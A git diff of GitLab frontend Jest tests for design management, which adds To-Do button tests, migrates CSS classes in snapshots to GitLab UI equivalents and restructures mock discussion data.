@@ -233,4 +245,23 @@ describe('Design management design sidebar component', () => {
expect(Cookies.set).toHaveBeenCalledWith(cookieKey, 'true', { expires: 365 * 10 });
});
});
+
+ it('does not render To-Do button by default', () => {
+ createComponent();
+ expect(wrapper.find(DesignTodoButton).exists()).toBe(false);
+ });
+
+ describe('when `design_management_todo_button` feature flag is enabled', () => {
+ beforeEach(() => {
+ createComponent({}, { enableTodoButton: true });
+ });
+
+ it('renders sidebar root element with no top padding', () => {
+ expect(wrapper.classes()).toContain('gl-pt-0');
+ });
+
+ it('renders To-Do button', () => {
+ expect(wrapper.find(DesignTodoButton).exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/design_management/components/design_todo_button_spec.js b/spec/frontend/design_management/components/design_todo_button_spec.js
new file mode 100644
index 00000000000..451c23f0fea
--- /dev/null
+++ b/spec/frontend/design_management/components/design_todo_button_spec.js
@@ -0,0 +1,158 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import TodoButton from '~/vue_shared/components/todo_button.vue';
+import DesignTodoButton from '~/design_management/components/design_todo_button.vue';
+import createDesignTodoMutation from '~/design_management/graphql/mutations/create_design_todo.mutation.graphql';
+import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
+import mockDesign from '../mock_data/design';
+
+const mockDesignWithPendingTodos = {
+ ...mockDesign,
+ currentUserTodos: {
+ nodes: [
+ {
+ id: 'todo-id',
+ },
+ ],
+ },
+};
+
+const mutate = jest.fn().mockResolvedValue();
+
+describe('Design management design todo button', () => {
+ let wrapper;
+
+ function createComponent(props = {}, { mountFn = shallowMount } = {}) {
+ wrapper = mountFn(DesignTodoButton, {
+ propsData: {
+ design: mockDesign,
+ ...props,
+ },
+ provide: {
+ projectPath: 'project-path',
+ issueIid: '10',
+ },
+ mocks: {
+ $route: {
+ params: {
+ id: 'my-design.jpg',
+ },
+ query: {},
+ },
+ $apollo: {
+ mutate,
+ },
+ },
+ });
+ }
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ jest.clearAllMocks();
+ });
+
+ it('renders TodoButton component', () => {
+ expect(wrapper.find(TodoButton).exists()).toBe(true);
+ });
+
+ describe('when design has a pending todo', () => {
+ beforeEach(() => {
+ createComponent({ design: mockDesignWithPendingTodos }, { mountFn: mount });
+ });
+
+ it('renders correct button text', () => {
+ expect(wrapper.text()).toBe('Mark as done');
+ });
+
+ describe('when clicked', () => {
+ let dispatchEventSpy;
+
+ beforeEach(() => {
+ dispatchEventSpy = jest.spyOn(document, 'dispatchEvent');
+ jest.spyOn(document, 'querySelector').mockReturnValue({
+ innerText: 2,
+ });
+
+ createComponent({ design: mockDesignWithPendingTodos }, { mountFn: mount });
+ wrapper.trigger('click');
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls `$apollo.mutate` with the `todoMarkDone` mutation and variables containing `id`', async () => {
+ const todoMarkDoneMutationVariables = {
+ mutation: todoMarkDoneMutation,
+ update: expect.anything(),
+ variables: {
+ id: 'todo-id',
+ },
+ };
+
+ expect(mutate).toHaveBeenCalledTimes(1);
+ expect(mutate).toHaveBeenCalledWith(todoMarkDoneMutationVariables);
+ });
+
+ it('calls dispatchDocumentEvent to update global To-Do counter correctly', () => {
+ const dispatchedEvent = dispatchEventSpy.mock.calls[0][0];
+
+ expect(dispatchEventSpy).toHaveBeenCalledTimes(1);
+ expect(dispatchedEvent.detail).toEqual({ count: 1 });
+ expect(dispatchedEvent.type).toBe('todo:toggle');
+ });
+ });
+ });
+
+ describe('when design has no pending todos', () => {
+ beforeEach(() => {
+ createComponent({}, { mountFn: mount });
+ });
+
+ it('renders correct button text', () => {
+ expect(wrapper.text()).toBe('Add a To-Do');
+ });
+
+ describe('when clicked', () => {
+ let dispatchEventSpy;
+
+ beforeEach(() => {
+ dispatchEventSpy = jest.spyOn(document, 'dispatchEvent');
+ jest.spyOn(document, 'querySelector').mockReturnValue({
+ innerText: 2,
+ });
+
+ createComponent({}, { mountFn: mount });
+ wrapper.trigger('click');
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls `$apollo.mutate` with the `createDesignTodoMutation` mutation and variables containing `issuable_id`, `issue_id`, & `projectPath`', async () => {
+ const createDesignTodoMutationVariables = {
+ mutation: createDesignTodoMutation,
+ update: expect.anything(),
+ variables: {
+ atVersion: null,
+ filenames: ['my-design.jpg'],
+ designId: '1',
+ issueId: '1',
+ issueIid: '10',
+ projectPath: 'project-path',
+ },
+ };
+
+ expect(mutate).toHaveBeenCalledTimes(1);
+ expect(mutate).toHaveBeenCalledWith(createDesignTodoMutationVariables);
+ });
+
+ it('calls dispatchDocumentEvent to update global To-Do counter correctly', () => {
+ const dispatchedEvent = dispatchEventSpy.mock.calls[0][0];
+
+ expect(dispatchEventSpy).toHaveBeenCalledTimes(1);
+ expect(dispatchedEvent.detail).toEqual({ count: 3 });
+ expect(dispatchedEvent.type).toBe('todo:toggle');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/design_management/components/list/__snapshots__/item_spec.js.snap b/spec/frontend/design_management/components/list/__snapshots__/item_spec.js.snap
index d76b6e712fe..822df1f6472 100644
--- a/spec/frontend/design_management/components/list/__snapshots__/item_spec.js.snap
+++ b/spec/frontend/design_management/components/list/__snapshots__/item_spec.js.snap
@@ -10,11 +10,11 @@ exports[`Design management list item component when item appears in view after i
exports[`Design management list item component with notes renders item with multiple comments 1`] = `
<router-link-stub
- class="card cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
+ class="card gl-cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
to="[object Object]"
>
<div
- class="card-body p-0 d-flex-center overflow-hidden position-relative"
+ class="card-body gl-p-0 gl-display-flex gl-align-items-center gl-justify-content-center gl-overflow-hidden gl-relative"
>
<!---->
@@ -23,7 +23,7 @@ exports[`Design management list item component with notes renders item with mult
<img
alt="test"
- class="block mx-auto mw-100 mh-100 design-img"
+ class="gl-display-block gl-mx-auto gl-max-w-full mh-100 design-img"
data-qa-selector="design_image"
src=""
/>
@@ -31,13 +31,13 @@ exports[`Design management list item component with notes renders item with mult
</div>
<div
- class="card-footer d-flex w-100"
+ class="card-footer gl-display-flex gl-w-full"
>
<div
- class="d-flex flex-column str-truncated-100"
+ class="gl-display-flex gl-flex-direction-column str-truncated-100"
>
<span
- class="bold str-truncated-100"
+ class="gl-font-weight-bold str-truncated-100"
data-qa-selector="design_file_name"
>
test
@@ -57,17 +57,17 @@ exports[`Design management list item component with notes renders item with mult
</div>
<div
- class="ml-auto d-flex align-items-center text-secondary"
+ class="gl-ml-auto gl-display-flex gl-align-items-center gl-text-gray-500"
>
- <icon-stub
- class="ml-1"
+ <gl-icon-stub
+ class="gl-ml-2"
name="comments"
size="16"
/>
<span
aria-label="2 comments"
- class="ml-1"
+ class="gl-ml-2"
>
2
@@ -80,11 +80,11 @@ exports[`Design management list item component with notes renders item with mult
exports[`Design management list item component with notes renders item with single comment 1`] = `
<router-link-stub
- class="card cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
+ class="card gl-cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
to="[object Object]"
>
<div
- class="card-body p-0 d-flex-center overflow-hidden position-relative"
+ class="card-body gl-p-0 gl-display-flex gl-align-items-center gl-justify-content-center gl-overflow-hidden gl-relative"
>
<!---->
@@ -93,7 +93,7 @@ exports[`Design management list item component with notes renders item with sing
<img
alt="test"
- class="block mx-auto mw-100 mh-100 design-img"
+ class="gl-display-block gl-mx-auto gl-max-w-full mh-100 design-img"
data-qa-selector="design_image"
src=""
/>
@@ -101,13 +101,13 @@ exports[`Design management list item component with notes renders item with sing
</div>
<div
- class="card-footer d-flex w-100"
+ class="card-footer gl-display-flex gl-w-full"
>
<div
- class="d-flex flex-column str-truncated-100"
+ class="gl-display-flex gl-flex-direction-column str-truncated-100"
>
<span
- class="bold str-truncated-100"
+ class="gl-font-weight-bold str-truncated-100"
data-qa-selector="design_file_name"
>
test
@@ -127,17 +127,17 @@ exports[`Design management list item component with notes renders item with sing
</div>
<div
- class="ml-auto d-flex align-items-center text-secondary"
+ class="gl-ml-auto gl-display-flex gl-align-items-center gl-text-gray-500"
>
- <icon-stub
- class="ml-1"
+ <gl-icon-stub
+ class="gl-ml-2"
name="comments"
size="16"
/>
<span
aria-label="1 comment"
- class="ml-1"
+ class="gl-ml-2"
>
1
diff --git a/spec/frontend/design_management/components/list/item_spec.js b/spec/frontend/design_management/components/list/item_spec.js
index d1c90bd57b0..55c6ecbc26b 100644
--- a/spec/frontend/design_management/components/list/item_spec.js
+++ b/spec/frontend/design_management/components/list/item_spec.js
@@ -1,7 +1,6 @@
import { createLocalVue, shallowMount } from '@vue/test-utils';
import { GlIcon, GlLoadingIcon, GlIntersectionObserver } from '@gitlab/ui';
import VueRouter from 'vue-router';
-import Icon from '~/vue_shared/components/icon.vue';
import Item from '~/design_management/components/list/item.vue';
const localVue = createLocalVue();
@@ -20,7 +19,7 @@ describe('Design management list item component', () => {
let wrapper;
const findDesignEvent = () => wrapper.find('[data-testid="designEvent"]');
- const findEventIcon = () => findDesignEvent().find(Icon);
+ const findEventIcon = () => findDesignEvent().find(GlIcon);
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
function createComponent({
diff --git a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
index d6fd09eb698..1e94e90c3b0 100644
--- a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
+++ b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
@@ -1,7 +1,7 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Design management design version dropdown component renders design version dropdown button 1`] = `
-<gl-new-dropdown-stub
+<gl-dropdown-stub
category="tertiary"
headertext=""
issueiid=""
@@ -10,7 +10,7 @@ exports[`Design management design version dropdown component renders design vers
text="Showing latest version"
variant="default"
>
- <gl-new-dropdown-item-stub
+ <gl-dropdown-item-stub
avatarurl=""
iconcolor=""
iconname=""
@@ -22,8 +22,8 @@ exports[`Design management design version dropdown component renders design vers
Version
2
(latest)
- </gl-new-dropdown-item-stub>
- <gl-new-dropdown-item-stub
+ </gl-dropdown-item-stub>
+ <gl-dropdown-item-stub
avatarurl=""
iconcolor=""
iconname=""
@@ -34,12 +34,12 @@ exports[`Design management design version dropdown component renders design vers
Version
1
- </gl-new-dropdown-item-stub>
-</gl-new-dropdown-stub>
+ </gl-dropdown-item-stub>
+</gl-dropdown-stub>
`;
exports[`Design management design version dropdown component renders design version list 1`] = `
-<gl-new-dropdown-stub
+<gl-dropdown-stub
category="tertiary"
headertext=""
issueiid=""
@@ -48,7 +48,7 @@ exports[`Design management design version dropdown component renders design vers
text="Showing latest version"
variant="default"
>
- <gl-new-dropdown-item-stub
+ <gl-dropdown-item-stub
avatarurl=""
iconcolor=""
iconname=""
@@ -60,8 +60,8 @@ exports[`Design management design version dropdown component renders design vers
Version
2
(latest)
- </gl-new-dropdown-item-stub>
- <gl-new-dropdown-item-stub
+ </gl-dropdown-item-stub>
+ <gl-dropdown-item-stub
avatarurl=""
iconcolor=""
iconname=""
@@ -72,6 +72,6 @@ exports[`Design management design version dropdown component renders design vers
Version
1
- </gl-new-dropdown-item-stub>
-</gl-new-dropdown-stub>
+ </gl-dropdown-item-stub>
+</gl-dropdown-stub>
`;
diff --git a/spec/frontend/design_management/components/upload/design_version_dropdown_spec.js b/spec/frontend/design_management/components/upload/design_version_dropdown_spec.js
index f4206cdaeb3..4ef787ac754 100644
--- a/spec/frontend/design_management/components/upload/design_version_dropdown_spec.js
+++ b/spec/frontend/design_management/components/upload/design_version_dropdown_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlNewDropdown, GlNewDropdownItem, GlSprintf } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlSprintf } from '@gitlab/ui';
import DesignVersionDropdown from '~/design_management/components/upload/design_version_dropdown.vue';
import mockAllVersions from './mock_data/all_versions';
@@ -42,7 +42,7 @@ describe('Design management design version dropdown component', () => {
wrapper.destroy();
});
- const findVersionLink = index => wrapper.findAll(GlNewDropdownItem).at(index);
+ const findVersionLink = index => wrapper.findAll(GlDropdownItem).at(index);
it('renders design version dropdown button', () => {
createComponent();
@@ -75,7 +75,7 @@ describe('Design management design version dropdown component', () => {
createComponent();
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlNewDropdown).attributes('text')).toBe('Showing latest version');
+ expect(wrapper.find(GlDropdown).attributes('text')).toBe('Showing latest version');
});
});
@@ -83,7 +83,7 @@ describe('Design management design version dropdown component', () => {
createComponent({ maxVersions: 1 });
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlNewDropdown).attributes('text')).toBe('Showing latest version');
+ expect(wrapper.find(GlDropdown).attributes('text')).toBe('Showing latest version');
});
});
@@ -91,7 +91,7 @@ describe('Design management design version dropdown component', () => {
createComponent({ $route: designRouteFactory(PREVIOUS_VERSION_ID) });
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlNewDropdown).attributes('text')).toBe(`Showing version #1`);
+ expect(wrapper.find(GlDropdown).attributes('text')).toBe(`Showing version #1`);
});
});
@@ -99,7 +99,7 @@ describe('Design management design version dropdown component', () => {
createComponent({ $route: designRouteFactory(LATEST_VERSION_ID) });
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find(GlNewDropdown).attributes('text')).toBe('Showing latest version');
+ expect(wrapper.find(GlDropdown).attributes('text')).toBe('Showing latest version');
});
});
@@ -107,7 +107,7 @@ describe('Design management design version dropdown component', () => {
createComponent();
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.findAll(GlNewDropdownItem)).toHaveLength(wrapper.vm.allVersions.length);
+ expect(wrapper.findAll(GlDropdownItem)).toHaveLength(wrapper.vm.allVersions.length);
});
});
});
diff --git a/spec/frontend/design_management/mock_data/apollo_mock.js b/spec/frontend/design_management/mock_data/apollo_mock.js
index 5e2df3877a5..1c7806c292f 100644
--- a/spec/frontend/design_management/mock_data/apollo_mock.js
+++ b/spec/frontend/design_management/mock_data/apollo_mock.js
@@ -13,6 +13,9 @@ export const designListQueryResponse = {
notesCount: 3,
image: 'image-1',
imageV432x230: 'image-1',
+ currentUserTodos: {
+ nodes: [],
+ },
},
{
id: '2',
@@ -21,6 +24,9 @@ export const designListQueryResponse = {
notesCount: 2,
image: 'image-2',
imageV432x230: 'image-2',
+ currentUserTodos: {
+ nodes: [],
+ },
},
{
id: '3',
@@ -29,6 +35,9 @@ export const designListQueryResponse = {
notesCount: 1,
image: 'image-3',
imageV432x230: 'image-3',
+ currentUserTodos: {
+ nodes: [],
+ },
},
],
},
@@ -60,6 +69,9 @@ export const reorderedDesigns = [
notesCount: 2,
image: 'image-2',
imageV432x230: 'image-2',
+ currentUserTodos: {
+ nodes: [],
+ },
},
{
id: '1',
@@ -68,6 +80,9 @@ export const reorderedDesigns = [
notesCount: 3,
image: 'image-1',
imageV432x230: 'image-1',
+ currentUserTodos: {
+ nodes: [],
+ },
},
{
id: '3',
@@ -76,6 +91,9 @@ export const reorderedDesigns = [
notesCount: 1,
image: 'image-3',
imageV432x230: 'image-3',
+ currentUserTodos: {
+ nodes: [],
+ },
},
];
diff --git a/spec/frontend/design_management/mock_data/design.js b/spec/frontend/design_management/mock_data/design.js
index 72be33fef1d..f2a3a800969 100644
--- a/spec/frontend/design_management/mock_data/design.js
+++ b/spec/frontend/design_management/mock_data/design.js
@@ -1,5 +1,5 @@
export default {
- id: 'design-id',
+ id: 'gid::/gitlab/Design/1',
filename: 'test.jpg',
fullPath: 'full-design-path',
image: 'test.jpg',
@@ -8,6 +8,7 @@ export default {
name: 'test',
},
issue: {
+ id: 'gid::/gitlab/Issue/1',
title: 'My precious issue',
webPath: 'full-issue-path',
webUrl: 'full-issue-url',
diff --git a/spec/frontend/design_management/mock_data/discussion.js b/spec/frontend/design_management/mock_data/discussion.js
new file mode 100644
index 00000000000..fbf9a2fdcc1
--- /dev/null
+++ b/spec/frontend/design_management/mock_data/discussion.js
@@ -0,0 +1,45 @@
+export default {
+ id: 'discussion-id-1',
+ resolved: false,
+ resolvable: true,
+ notes: [
+ {
+ id: 'note-id-1',
+ index: 1,
+ position: {
+ height: 100,
+ width: 100,
+ x: 10,
+ y: 15,
+ },
+ author: {
+ name: 'John',
+ webUrl: 'link-to-john-profile',
+ },
+ createdAt: '2020-05-08T07:10:45Z',
+ userPermissions: {
+ adminNote: true,
+ },
+ resolved: false,
+ },
+ {
+ id: 'note-id-3',
+ index: 3,
+ position: {
+ height: 50,
+ width: 50,
+ x: 25,
+ y: 25,
+ },
+ author: {
+ name: 'Mary',
+ webUrl: 'link-to-mary-profile',
+ },
+ createdAt: '2020-05-08T07:10:45Z',
+ userPermissions: {
+ adminNote: true,
+ },
+ resolved: false,
+ },
+ ],
+};
diff --git a/spec/frontend/design_management/mock_data/notes.js b/spec/frontend/design_management/mock_data/notes.js
index 80cb3944786..41cefaca05b 100644
--- a/spec/frontend/design_management/mock_data/notes.js
+++ b/spec/frontend/design_management/mock_data/notes.js
@@ -1,46 +1,44 @@
+import DISCUSSION_1 from './discussion';
+
+const DISCUSSION_2 = {
+ id: 'discussion-id-2',
+ notes: {
+ nodes: [
+ {
+ id: 'note-id-2',
+ index: 2,
+ position: {
+ height: 50,
+ width: 50,
+ x: 25,
+ y: 25,
+ },
+ author: {
+ name: 'Mary',
+ webUrl: 'link-to-mary-profile',
+ },
+ createdAt: '2020-05-08T07:10:45Z',
+ userPermissions: {
+ adminNote: true,
+ },
+ resolved: true,
+ },
+ ],
+ },
+};
+
export default [
{
- id: 'note-id-1',
- index: 1,
- position: {
- height: 100,
- width: 100,
- x: 10,
- y: 15,
- },
- author: {
- name: 'John',
- webUrl: 'link-to-john-profile',
- },
- createdAt: '2020-05-08T07:10:45Z',
- userPermissions: {
- adminNote: true,
- },
+ ...DISCUSSION_1.notes[0],
discussion: {
- id: 'discussion-id-1',
+ id: DISCUSSION_1.id,
+ notes: {
+ nodes: DISCUSSION_1.notes,
+ },
},
- resolved: false,
},
{
- id: 'note-id-2',
- index: 2,
- position: {
- height: 50,
- width: 50,
- x: 25,
- y: 25,
- },
- author: {
- name: 'Mary',
- webUrl: 'link-to-mary-profile',
- },
- createdAt: '2020-05-08T07:10:45Z',
- userPermissions: {
- adminNote: true,
- },
- discussion: {
- id: 'discussion-id-2',
- },
- resolved: true,
+ ...DISCUSSION_2.notes.nodes[0],
+ discussion: DISCUSSION_2,
},
];
diff --git a/spec/frontend/design_management/pages/__snapshots__/index_spec.js.snap b/spec/frontend/design_management/pages/__snapshots__/index_spec.js.snap
index 3881b2d7679..b80b7fdb43e 100644
--- a/spec/frontend/design_management/pages/__snapshots__/index_spec.js.snap
+++ b/spec/frontend/design_management/pages/__snapshots__/index_spec.js.snap
@@ -111,7 +111,7 @@ exports[`Design management index page designs renders designs list and header wi
>
<gl-button-stub
category="primary"
- class="gl-mr-3 js-select-all"
+ class="gl-mr-4 js-select-all"
icon=""
size="small"
variant="link"
diff --git a/spec/frontend/design_management/pages/design/__snapshots__/index_spec.js.snap b/spec/frontend/design_management/pages/design/__snapshots__/index_spec.js.snap
index 823294efc38..c849e4d4ed6 100644
--- a/spec/frontend/design_management/pages/design/__snapshots__/index_spec.js.snap
+++ b/spec/frontend/design_management/pages/design/__snapshots__/index_spec.js.snap
@@ -32,6 +32,8 @@ exports[`Design management design index page renders design index 1`] = `
<div
class="image-notes"
>
+ <!---->
+
<h2
class="gl-font-weight-bold gl-mt-0"
>
@@ -57,11 +59,11 @@ exports[`Design management design index page renders design index 1`] = `
<design-discussion-stub
data-testid="unresolved-discussion"
- designid="test"
+ designid="gid::/gitlab/Design/1"
discussion="[object Object]"
discussionwithopenform=""
markdownpreviewpath="/project-path/preview_markdown?target_type=Issue"
- noteableid="design-id"
+ noteableid="gid::/gitlab/Design/1"
/>
<gl-button-stub
@@ -92,7 +94,7 @@ exports[`Design management design index page renders design index 1`] = `
</p>
<a
- href="#"
+ href="https://docs.gitlab.com/ee/user/project/issues/design_management.html#resolve-design-threads"
rel="noopener noreferrer"
target="_blank"
>
@@ -105,11 +107,11 @@ exports[`Design management design index page renders design index 1`] = `
>
<design-discussion-stub
data-testid="resolved-discussion"
- designid="test"
+ designid="gid::/gitlab/Design/1"
discussion="[object Object]"
discussionwithopenform=""
markdownpreviewpath="/project-path/preview_markdown?target_type=Issue"
- noteableid="design-id"
+ noteableid="gid::/gitlab/Design/1"
/>
</gl-collapse-stub>
@@ -179,6 +181,8 @@ exports[`Design management design index page with error GlAlert is rendered in c
<div
class="image-notes"
>
+ <!---->
+
<h2
class="gl-font-weight-bold gl-mt-0"
>
diff --git a/spec/frontend/design_management/pages/design/index_spec.js b/spec/frontend/design_management/pages/design/index_spec.js
index 369c8667f4d..d9f7146d258 100644
--- a/spec/frontend/design_management/pages/design/index_spec.js
+++ b/spec/frontend/design_management/pages/design/index_spec.js
@@ -7,24 +7,21 @@ import DesignIndex from '~/design_management/pages/design/index.vue';
import DesignSidebar from '~/design_management/components/design_sidebar.vue';
import DesignPresentation from '~/design_management/components/design_presentation.vue';
import createImageDiffNoteMutation from '~/design_management/graphql/mutations/create_image_diff_note.mutation.graphql';
-import design from '../../mock_data/design';
-import mockResponseWithDesigns from '../../mock_data/designs';
-import mockResponseNoDesigns from '../../mock_data/no_designs';
-import mockAllVersions from '../../mock_data/all_versions';
+import updateActiveDiscussion from '~/design_management/graphql/mutations/update_active_discussion.mutation.graphql';
import {
DESIGN_NOT_FOUND_ERROR,
DESIGN_VERSION_NOT_EXIST_ERROR,
} from '~/design_management/utils/error_messages';
-import { DESIGNS_ROUTE_NAME } from '~/design_management/router/constants';
+import { DESIGNS_ROUTE_NAME, DESIGN_ROUTE_NAME } from '~/design_management/router/constants';
import createRouter from '~/design_management/router';
import * as utils from '~/design_management/utils/design_management_utils';
import { DESIGN_DETAIL_LAYOUT_CLASSLIST } from '~/design_management/constants';
+import design from '../../mock_data/design';
+import mockResponseWithDesigns from '../../mock_data/designs';
+import mockResponseNoDesigns from '../../mock_data/no_designs';
+import mockAllVersions from '../../mock_data/all_versions';
jest.mock('~/flash');
-jest.mock('mousetrap', () => ({
- bind: jest.fn(),
- unbind: jest.fn(),
-}));
const focusInput = jest.fn();
@@ -34,6 +31,12 @@ const DesignReplyForm = {
focusInput,
},
};
+const mockDesignNoDiscussions = {
+ ...design,
+ discussions: {
+ nodes: [],
+ },
+};
const localVue = createLocalVue();
localVue.use(VueRouter);
@@ -75,7 +78,7 @@ describe('Design management design index page', () => {
const findSidebar = () => wrapper.find(DesignSidebar);
const findDesignPresentation = () => wrapper.find(DesignPresentation);
- function createComponent(loading = false, data = {}) {
+ function createComponent({ loading = false } = {}, { data = {}, intialRouteOptions = {} } = {}) {
const $apollo = {
queries: {
design: {
@@ -87,6 +90,8 @@ describe('Design management design index page', () => {
router = createRouter();
+ router.push({ name: DESIGN_ROUTE_NAME, params: { id: design.id }, ...intialRouteOptions });
+
wrapper = shallowMount(DesignIndex, {
propsData: { id: '1' },
mocks: { $apollo },
@@ -126,29 +131,28 @@ describe('Design management design index page', () => {
},
};
jest.spyOn(utils, 'getPageLayoutElement').mockReturnValue(mockEl);
- createComponent(true);
+ createComponent({ loading: true });
- wrapper.vm.$router.push('/designs/test');
expect(mockEl.classList.add).toHaveBeenCalledTimes(1);
expect(mockEl.classList.add).toHaveBeenCalledWith(...DESIGN_DETAIL_LAYOUT_CLASSLIST);
});
});
it('sets loading state', () => {
- createComponent(true);
+ createComponent({ loading: true });
expect(wrapper.element).toMatchSnapshot();
});
it('renders design index', () => {
- createComponent(false, { design });
+ createComponent({ loading: false }, { data: { design } });
expect(wrapper.element).toMatchSnapshot();
expect(wrapper.find(GlAlert).exists()).toBe(false);
});
it('passes correct props to sidebar component', () => {
- createComponent(false, { design });
+ createComponent({ loading: false }, { data: { design } });
expect(findSidebar().props()).toEqual({
design,
@@ -158,14 +162,14 @@ describe('Design management design index page', () => {
});
it('opens a new discussion form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design,
},
},
- });
+ );
findDesignPresentation().vm.$emit('openCommentForm', { x: 0, y: 0 });
@@ -175,15 +179,15 @@ describe('Design management design index page', () => {
});
it('keeps new discussion form focused', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design,
+ annotationCoordinates,
},
},
- annotationCoordinates,
- });
+ );
findDesignPresentation().vm.$emit('openCommentForm', { x: 10, y: 10 });
@@ -191,18 +195,18 @@ describe('Design management design index page', () => {
});
it('sends a mutation on submitting form and closes form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design,
+ annotationCoordinates,
+ comment: newComment,
},
},
- annotationCoordinates,
- comment: newComment,
- });
+ );
- findDiscussionForm().vm.$emit('submitForm');
+ findDiscussionForm().vm.$emit('submit-form');
expect(mutate).toHaveBeenCalledWith(createDiscussionMutationVariables);
return wrapper.vm
@@ -216,18 +220,18 @@ describe('Design management design index page', () => {
});
it('closes the form and clears the comment on canceling form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design,
+ annotationCoordinates,
+ comment: newComment,
},
},
- annotationCoordinates,
- comment: newComment,
- });
+ );
- findDiscussionForm().vm.$emit('cancelForm');
+ findDiscussionForm().vm.$emit('cancel-form');
expect(wrapper.vm.comment).toBe('');
@@ -238,15 +242,15 @@ describe('Design management design index page', () => {
describe('with error', () => {
beforeEach(() => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design: mockDesignNoDiscussions,
+ errorMessage: 'woops',
},
},
- errorMessage: 'woops',
- });
+ );
});
it('GlAlert is rendered in correct position with correct content', () => {
@@ -257,7 +261,7 @@ describe('Design management design index page', () => {
describe('onDesignQueryResult', () => {
describe('with no designs', () => {
it('redirects to /designs', () => {
- createComponent(true);
+ createComponent({ loading: true });
router.push = jest.fn();
wrapper.vm.onDesignQueryResult({ data: mockResponseNoDesigns, loading: false });
@@ -272,7 +276,7 @@ describe('Design management design index page', () => {
describe('when no design exists for given version', () => {
it('redirects to /designs', () => {
- createComponent(true);
+ createComponent({ loading: true });
wrapper.setData({
allVersions: mockAllVersions,
});
@@ -291,4 +295,24 @@ describe('Design management design index page', () => {
});
});
});
+
+ describe('when hash present in current route', () => {
+ it('calls updateActiveDiscussion mutation', () => {
+ createComponent(
+ { loading: false },
+ {
+ data: {
+ design,
+ },
+ intialRouteOptions: { hash: '#note_123' },
+ },
+ );
+
+ expect(mutate).toHaveBeenCalledTimes(1);
+ expect(mutate).toHaveBeenCalledWith({
+ mutation: updateActiveDiscussion,
+ variables: { id: 'gid://gitlab/DiffNote/123', source: 'url' },
+ });
+ });
+ });
});
diff --git a/spec/frontend/design_management/pages/index_apollo_spec.js b/spec/frontend/design_management/pages/index_apollo_spec.js
deleted file mode 100644
index 3ea711c2cfa..00000000000
--- a/spec/frontend/design_management/pages/index_apollo_spec.js
+++ /dev/null
@@ -1,162 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { createMockClient } from 'mock-apollo-client';
-import VueApollo from 'vue-apollo';
-import VueRouter from 'vue-router';
-import VueDraggable from 'vuedraggable';
-import { InMemoryCache } from 'apollo-cache-inmemory';
-import Design from '~/design_management/components/list/item.vue';
-import createRouter from '~/design_management/router';
-import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql';
-import permissionsQuery from '~/design_management/graphql/queries/design_permissions.query.graphql';
-import moveDesignMutation from '~/design_management/graphql/mutations/move_design.mutation.graphql';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import Index from '~/design_management/pages/index.vue';
-import {
- designListQueryResponse,
- permissionsQueryResponse,
- moveDesignMutationResponse,
- reorderedDesigns,
- moveDesignMutationResponseWithErrors,
-} from '../mock_data/apollo_mock';
-
-jest.mock('~/flash');
-
-const localVue = createLocalVue();
-localVue.use(VueApollo);
-
-const router = createRouter();
-localVue.use(VueRouter);
-
-const designToMove = {
- __typename: 'Design',
- id: '2',
- event: 'NONE',
- filename: 'fox_2.jpg',
- notesCount: 2,
- image: 'image-2',
- imageV432x230: 'image-2',
-};
-
-describe('Design management index page with Apollo mock', () => {
- let wrapper;
- let mockClient;
- let apolloProvider;
- let moveDesignHandler;
-
- async function moveDesigns(localWrapper) {
- await jest.runOnlyPendingTimers();
- await localWrapper.vm.$nextTick();
-
- localWrapper.find(VueDraggable).vm.$emit('input', reorderedDesigns);
- localWrapper.find(VueDraggable).vm.$emit('change', {
- moved: {
- newIndex: 0,
- element: designToMove,
- },
- });
- }
-
- const fragmentMatcher = { match: () => true };
-
- const cache = new InMemoryCache({
- fragmentMatcher,
- addTypename: false,
- });
-
- const findDesigns = () => wrapper.findAll(Design);
-
- function createComponent({
- moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse),
- }) {
- mockClient = createMockClient({ cache });
-
- mockClient.setRequestHandler(
- getDesignListQuery,
- jest.fn().mockResolvedValue(designListQueryResponse),
- );
-
- mockClient.setRequestHandler(
- permissionsQuery,
- jest.fn().mockResolvedValue(permissionsQueryResponse),
- );
-
- moveDesignHandler = moveHandler;
-
